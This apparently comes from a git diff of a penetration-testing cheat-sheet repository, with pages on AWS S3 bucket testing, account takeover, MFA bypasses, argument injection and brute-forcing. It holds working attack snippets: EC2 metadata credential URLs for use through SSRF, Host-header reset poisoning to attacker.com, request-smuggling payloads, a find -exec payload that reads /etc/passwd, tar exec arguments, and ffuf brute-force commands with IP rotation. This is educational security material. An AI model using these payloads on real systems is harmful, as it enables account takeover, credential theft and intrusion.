* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060) - [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://web.archive.org/web/20240522172244/https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/) - [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://web.archive.org/web/20211208043535/https://hackerone.com/reports/376060)
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/) - [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://web.archive.org/web/20250714230057/https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)

View File

@@ -1,168 +0,0 @@
# Amazon Bucket S3 AWS
## Summary
- [AWS Configuration](#aws-configuration)
- [Open Bucket](#open-bucket)
- [Basic tests](#basic-tests)
- [Listing files](#listing-files)
- [Move a file into the bucket](#move-a-file-into-the-bucket)
- [Download every things](#download-every-things)
- [Check bucket disk size](#check-bucket-disk-size)
- [AWS - Extract Backup](#aws---extract-backup)
- [Bucket juicy data](#bucket-juicy-data)
## AWS Configuration
Prerequisites, at least you need awscli
```bash
sudo apt install awscli
```
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
```javascript
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
```
```javascript
aws configure --profile nameofprofile
```
then you can use *--profile nameofprofile* in the aws command.
Alternatively you can use environment variables instead of creating a profile.
```bash
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
```
## Open Bucket
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
```bash
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
https://buckets.grayhatwarfare.com/
```
Their names are also listed if the listing is enabled.
```xml
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
```
Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
```xml
http://example.com/resources/id%C0
eg: http://redacted/avatar/123%C0
```
## Basic tests
### Listing files
```bash
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```
You can get the region with a dig and nslookup
```bash
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```
### Move a file into the bucket
```bash
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
```
```bash
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```
### Download every things
```powershell
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
```
### Check bucket disk size
Use `--no-sign` for un-authenticated check.
```powershell
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
```
## AWS - Extract Backup
```powershell
$ aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",
$ aws --profile profile_name ec2 describe-snapshots
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",
Create a volume using snapshot
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
$ chmod 400 YOUR_KEY.pem
$ ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
Mount the volume
$ lsblk
$ sudo file -s /dev/xvda1
$ sudo mount /dev/xvda1 /mnt
```
## Bucket juicy data
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
```powershell
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
```
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
## References
* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
* [Bug Bounty Survey - AWS Basic test](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
* [Guardzilla video camera hardcoded AWS credential ~~- 0dayallday.org~~ - blackmarble.sh](https://blackmarble.sh/guardzilla-video-camera-hard-coded-aws-credentials/)
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)

View File

@@ -1,275 +1,187 @@
# Account Takeover # Account Takeover
## Summary > Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
* [Password Reset Feature](#password-reset-feature) ## Summary
* [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer)
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning) * [Password Reset Feature](#password-reset-feature)
* [Password Reset Via Email Parameter](#password-reset-via-email-parameter) * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
* [IDOR on API Parameters](#idor-on-api-parameters) * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
* [Weak Password Reset Token](#weak-password-reset-token) * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
* [Leaking Password Reset Token](#leaking-password-reset-token) * [IDOR on API Parameters](#idor-on-api-parameters)
* [Password Reset Via Username Collision](#password-reset-via-username-collision) * [Weak Password Reset Token](#weak-password-reset-token)
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue) * [Leaking Password Reset Token](#leaking-password-reset-token)
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting) * [Password Reset via Username Collision](#password-reset-via-username-collision)
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling) * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
* [Account Takeover via CSRF](#account-takeover-via-csrf) * [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)
* [2FA Bypasses](#2fa-bypasses) * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
* [Response Manipulation](#reponse-manipulation) * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
* [Status Code Manipulation](#status-code-manipulation) * [Account Takeover via CSRF](#account-takeover-via-csrf)
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response) * [References](#references)
* [JS File Analysis](#js-file-analysis)
* [2FA Code Reusability](#2fa-code-reusability) ## Password Reset Feature
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation) ### Password Reset Token Leak via Referrer
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
* [Password Reset Disable 2FA](#password-reset-disable-2fa) 1. Request password reset to your email address
* [Backup Code Abuse](#backup-code-abuse) 2. Click on the password reset link
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page) 3. Don't change password
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions) 4. Click any 3rd party websites(e.g., Facebook, twitter)
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing) 5. Intercept the request in Burp Suite proxy
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000) 6. Check if the referer header is leaking password reset token.
* [Bypass 2FA with array](#bypass-2fa-with-array)
* [References](#references) ### Account Takeover Through Password Reset Poisoning
## Password Reset Feature 1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
### Password Reset Token Leak Via Referrer 3. Forward the request with the modified header
1. Request password reset to your email address ```http
2. Click on the password reset link POST https://example.com/reset.php HTTP/1.1
3. Don't change password Accept: */*
4. Click any 3rd party websites(eg: Facebook, twitter) Content-Type: application/json
5. Intercept the request in Burp Suite proxy Host: attacker.com
6. Check if the referer header is leaking password reset token. ```
### Account Takeover Through Password Reset Poisoning 4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
1. Intercept the password reset request in Burp Suite ### Password Reset via Email Parameter
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header ```powershell
```http # parameter pollution
POST https://example.com/reset.php HTTP/1.1 email=victim@mail.com&email=hacker@mail.com
Accept: */*
Content-Type: application/json # array of emails
Host: attacker.com {"email":["victim@mail.com","hacker@mail.com"]}
```
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN` # carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
### Password Reset Via Email Parameter
# separator
```powershell email=victim@mail.com,hacker@mail.com
# parameter pollution email=victim@mail.com%20hacker@mail.com
email=victim@mail.com&email=hacker@mail.com email=victim@mail.com|hacker@mail.com
```
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]} ### IDOR on API Parameters
# carbon copy 1. Attacker have to login with their account and go to the **Change password** feature.
email=victim@mail.com%0A%0Dcc:hacker@mail.com 2. Start the Burp Suite and Intercept the request
email=victim@mail.com%0A%0Dbcc:hacker@mail.com 3. Send it to the repeater tab and edit the parameters : User ID/email
# separator ```powershell
email=victim@mail.com,hacker@mail.com POST /api/changepass
email=victim@mail.com%20hacker@mail.com [...]
email=victim@mail.com|hacker@mail.com ("form": {"email":"victim@email.com","password":"securepwd"})
``` ```
### IDOR on API Parameters ### Weak Password Reset Token
1. Attacker have to login with their account and go to the **Change password** feature. The password reset token should be randomly generated and unique every time.
2. Start the Burp Suite and Intercept the request Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
3. Send it to the repeater tab and edit the parameters : User ID/email
```powershell * Timestamp
POST /api/changepass * UserID
[...] * Email of User
("form": {"email":"victim@email.com","password":"securepwd"}) * Firstname and Lastname
``` * Date of Birth
* Cryptography
### Weak Password Reset Token * Number only
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
The password reset token should be randomly generated and unique every time. * Token reuse
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. * Token expiration date
* Timestamp ### Leaking Password Reset Token
* UserID
* Email of User 1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
* Firstname and Lastname 2. Inspect the server response and check for `resetToken`
* Date of Birth 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
* Cryptography
* Number only ### Password Reset via Username Collision
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
* Token reuse 1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
* Token expiration date 2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
### Leaking Password Reset Token 4. Connect to the victim account with the new password.
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com The platform CTFd was vulnerable to this attack.
2. Inspect the server response and check for `resetToken` See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Account Takeover Due To Unicode Normalization Issue
### Password Reset Via Username Collision
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username. * Victim account: `demo@gmail.com`
3. Use the token sent to your email and reset the victim password. * Attacker account: `demⓞ@gmail.com`
4. Connect to the victim account with the new password.
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
The platform CTFd was vulnerable to this attack.
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) [Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
## Account Takeover via Web Vulnerabilities
### Account takeover due to unicode normalization issue
### Account Takeover via Cross Site Scripting
When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
- Victim account: `demo@gmail.com` 2. Leak the current **sessions cookie**
- Attacker account: `demⓞ@gmail.com` 3. Authenticate as the user using the cookie
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub). ### Account Takeover via HTTP Request Smuggling
[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform. Refer to **HTTP Request Smuggling** vulnerability page.
## Account Takeover Via Cross Site Scripting 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` ```powershell
2. Leak the current **sessions cookie** git clone https://github.com/defparam/smuggler.git
3. Authenticate as the user using the cookie cd smuggler
python3 smuggler.py -h
## Account Takeover Via HTTP Request Smuggling ```
Refer to **HTTP Request Smuggling** vulnerability page. 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
```powershell ```powershell
git clone https://github.com/defparam/smuggler.git GET http://something.burpcollaborator.net HTTP/1.1
cd smuggler X:
python3 smuggler.py -h ```
```
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: 3. Final request could look like the following
```powershell
GET http://something.burpcollaborator.net HTTP/1.1 ```powershell
X: GET / HTTP/1.1
``` Transfer-Encoding: chunked
3. Final request could look like the following Host: something.com
```powershell User-Agent: Smuggler/v1.0
GET / HTTP/1.1 Content-Length: 83
Transfer-Encoding: chunked
Host: something.com 0
User-Agent: Smuggler/v1.0
Content-Length: 83 GET http://something.burpcollaborator.net HTTP/1.1
X: X
0 ```
GET http://something.burpcollaborator.net HTTP/1.1 Hackerone reports exploiting this bug
X: X
``` * <https://hackerone.com/reports/737140>
* <https://hackerone.com/reports/771666>
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140 ### Account Takeover via CSRF
* https://hackerone.com/reports/771666
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
## Account Takeover via CSRF 2. Send the payload
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change" ### Account Takeover via JWT
2. Send the payload
JSON Web Token might be used to authenticate an user.
## Account Takeover via JWT
* Edit the JWT with another User ID / Email
JSON Web Token might be used to authenticate an user. * Check for weak JWT signature
* Edit the JWT with another User ID / Email ## References
* Check for weak JWT signature
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://web.archive.org/web/20250701123134/https://www.youtube.com/watch?v=gzM4wWA7RFo)
## 2FA Bypasses * [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://web.archive.org/web/20250626114943/https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://web.archive.org/web/20250913121907/https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
### Response Manipulation * [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://web.archive.org/web/20200329075120/https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://web.archive.org/web/20251219192449/https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
In response if `"success":false`
Change it to `"success":true`
### Status Code Manipulation
If Status Code is **4xx**
Try to change it to **200 OK** and see if it bypass restrictions
### 2FA Code Leakage in Response
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
### JS File Analysis
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
### 2FA Code Reusability
Same code can be reused
### Lack of Brute-Force Protection
Possible to brute-force any length 2FA Code
### Missing 2FA Code Integrity Validation
Code for any user acc can be used to bypass the 2FA
### CSRF on 2FA Disabling
No CSRF Protection on disabling 2FA, also there is no auth confirmation
### Password Reset Disable 2FA
2FA gets disabled on password change/email change
### Backup Code Abuse
Bypassing 2FA by abusing the Backup code feature
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
### Clickjacking on 2FA Disabling Page
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
### Enabling 2FA doesn't expire Previously active Sessions
If the session is already hijacked and there is a session timeout vuln
### Bypass 2FA by Force Browsing
If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
### Bypass 2FA with null or 000000
Enter the code **000000** or **null** to bypass 2FA protection.
### Bypass 2FA with array
```json
{
"otp":[
"1234",
"1111",
"1337", // GOOD OTP
"2222",
"3333",
"4444",
"5555"
]
}
```
## TODO
* Broken cryptography
* Session hijacking
* OAuth misconfiguration
## References
- [10 Password Reset Flaws - Anugrah SR](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be)
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
- [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
- [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
- [2FA simple bypass](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass)

View File

@@ -0,0 +1,99 @@
# MFA Bypasses
> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
## Summary
* [Response Manipulation](#response-manipulation)
* [Status Code Manipulation](#status-code-manipulation)
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
* [JS File Analysis](#js-file-analysis)
* [2FA Code Reusability](#2fa-code-reusability)
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
* [Backup Code Abuse](#backup-code-abuse)
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
* [Bypass 2FA with array](#bypass-2fa-with-array)
## 2FA Bypasses
### Response Manipulation
If response is `"success":false`
Change it to `"success":true`
### Status Code Manipulation
If Status Code is **4xx**
Try changing it to **200 OK** and see if it bypass restrictions
### 2FA Code Leakage in Response
Check the response of the 2FA Code Triggering Request for leaked code.
### JS File Analysis
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
### 2FA Code Reusability
Same code can be reused
### Lack of Brute-Force Protection
Possible to brute-force any length 2FA Code
### Missing 2FA Code Integrity Validation
Code for any user account can be used to bypass the 2FA
### CSRF on 2FA Disabling
No CSRF Protection on disabling 2FA, also there is no auth confirmation
### Password Reset Disable 2FA
2FA gets disabled on password change/email change
### Backup Code Abuse
Bypassing 2FA by abusing the Backup code feature
Use the above-mentioned techniques to bypass the Backup Code to remove/reset 2FA restrictions
### Clickjacking on 2FA Disabling Page
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
### Enabling 2FA doesn't expire Previously active Sessions
If the session is already hijacked and there is a session timeout vulnerability
### Bypass 2FA by Force Browsing
If the application redirects to `/my-account` url upon login while 2FA is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
### Bypass 2FA with null or 000000
Enter the code **000000** or **null** to bypass 2FA protection.
### Bypass 2FA with array
```json
{
"otp":[
"1234",
"1111",
"1337", // GOOD OTP
"2222",
"3333",
"4444",
"5555"
]
}
```

View File

@@ -1,100 +0,0 @@
# Argument Injection
Argument injection is similar to command injection as tainted data is passed to to a command executed in a shell without proper sanitization/escaping.
It can happen in different situations, where you can only inject arguments to a command:
- Improper sanitization (regex)
- Injection of arguments into a fixed command (PHP:escapeshellcmd, Python: Popen)
- Bash expansion (ex: *)
In the following example, a python script takes the inputs from the command line to generate a ```curl``` command:
```py
from shlex import quote,split
import sys
import subprocess
if __name__=="__main__":
command = ['curl']
command = command + split(sys.argv[1])
print(command)
r = subprocess.Popen(command)
```
It is possible for an attacker to pass several words to abuse options from ```curl``` command
```ps1
python python_rce.py "https://www.google.fr -o test.py"
```
We can see by printing the command that all the parameters are splited allowing to inject an argument that will save the response in an arbitrary file.
```ps1
['curl', 'https://www.google.fr', '-o', 'test.py']
```
## Summary
* [List of exposed commands](#list-of-exposed-commands)
* [CURL](#CURL)
* [TAR](#TAR)
* [FIND](#FIND)
* [WGET](#WGET)
* [References](#references)
## List of exposed commands
### CURL
It is possible to abuse ```curl``` through the following options:
```ps1
-o, --output <file> Write to file instead of stdout
-O, --remote-name Write output to a file named as the remote file
```
In case there is already one option in the command it is possible to inject several URLs to download and several output options. Each option will affect each URL in sequence.
### TAR
For the ```tar``` command it is possible to inject arbitrary arguments in different commands.
Argument injection can happen into the '''extract''' command:
```ps1
--to-command <command>
--checkpoint=1 --checkpoint-action=exec=<command>
-T <file> or --files-from <file>
```
Or in the '''create''' command:
```ps1
-I=<program> or -I <program>
--use-compres-program=<program>
```
There are also short options to work without spaces:
```ps1
-T<file>
-I"/path/to/exec"
```
### FIND
Find some_file inside /tmp directory.
```php
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
```
Print /etc/passwd content.
```php
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
```
### WGET
Example of vulnerable code
```php
system(escapeshellcmd('wget '.$url));
```
Arbitrary file write
```php
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
```
## References
- [staaldraad - Etienne Stalmans, November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic, 06/25/2014](https://www.exploit-db.com/papers/33930)
- [TL;DR: How exploit/bypass/use PHP escapeshellarg/escapeshellcmd functions - kacperszurek, Apr 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)

View File

@@ -0,0 +1,147 @@
# Brute Force & Rate Limit
## Summary
* [Tools](#tools)
* [Bruteforce](#bruteforce)
* [Burp Suite Intruder](#burp-suite-intruder)
* [FFUF](#ffuf)
* [Rate Limit](#rate-limit)
* [TLS Stack - JA3](#tls-stack---ja3)
* [Network IPv4](#network-ipv4)
* [Network IPv6](#network-ipv6)
* [References](#references)
## Tools
* [ZephrFish/OmniProx](https://github.com/ZephrFish/OmniProx) - IP Rotation from different providers - Like FireProx but for GCP, Azure, Alibaba and CloudFlare.
* [ddd/gpb](https://github.com/ddd/gpb) - Bruteforcing the phone number of any Google user while rotating IPv6 addresses.
* [ffuf/ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go.
* [PortSwigger/Burp Suite](https://portswigger.net/burp) - The class-leading vulnerability scanning, penetration testing, and web app security platform.
* [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) - A special build of curl that can impersonate Chrome & Firefox.
## Bruteforce
In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.
For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.
Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.
### Burp Suite Intruder
* **Sniper attack**: target a single position (one variable) while cycling through one payload set.
```ps1
Username: password
Username1:Password1
Username1:Password2
Username1:Password3
Username1:Password4
```
* **Battering ram attack**: send the same payload to all marked positions at once by using a single payload set.
```ps1
Username1:Username1
Username2:Username2
Username3:Username3
Username4:Username4
```
* **Pitchfork attack**: use different payload lists in parallel, combining the nth entry from each list into one request.
```ps1
Username1:Password1
Username2:Password2
Username3:Password3
Username4:Password4
```
* **Cluster bomb attack**: iterate through all combinations of multiple payload sets.
```ps1
Username1:Password1
Username1:Password2
Username1:Password3
Username1::Password4
Username2:Password1
Username2:Password2
Username2:Password3
Username2:Password4
```
### FFUF
```bash
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
-u https://target.tld/login \
-X POST -d "username=USER&password=PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Forwarded-For: FUZZ" -w ipv4-list.txt:FUZZ \
-mc all
```
## Rate Limit
### HTTP Pipelining
HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client "pipes" requests one after another over the same connection.
### TLS Stack - JA3
JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS "hello" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked.
> JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a "," to delimit each field and a "-" to delimit each value in each field.
* Burp Suite JA3: `53d67b2a806147a7d1d5df74b54dd049`, `62f6a6727fda5a1104d5b147cd82e520`
* Tor Client JA3: `e7d705a3286e19ea42f587b344ee6865`
**Countermeasures:**
* Use browser-driven automation (Puppeteer / Playwright)
* Spoof TLS handshakes with [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate)
* JA3 randomization plugins for browsers/libraries
### Network IPv4
Use multiple proxies to simulate multiple clients.
```bash
proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ
```
* Use `random_chain` to rotate each request
```ps1
random_chain
```
* Set the number of proxies to chain per connection to 1.
```ps1
chain_len = 1
```
* Finally, specify the proxies in a configuration file:
```ps1
# type host port
socks5 127.0.0.1 1080
socks5 192.168.1.50 1080
http proxy1.example.com 8080
http proxy2.example.com 8080
```
### Network IPv6
Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.
## References
* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://web.archive.org/web/20250609141236/https://brutecat.com/articles/leaking-google-phones)
* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://web.archive.org/web/20260124024947/https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types)
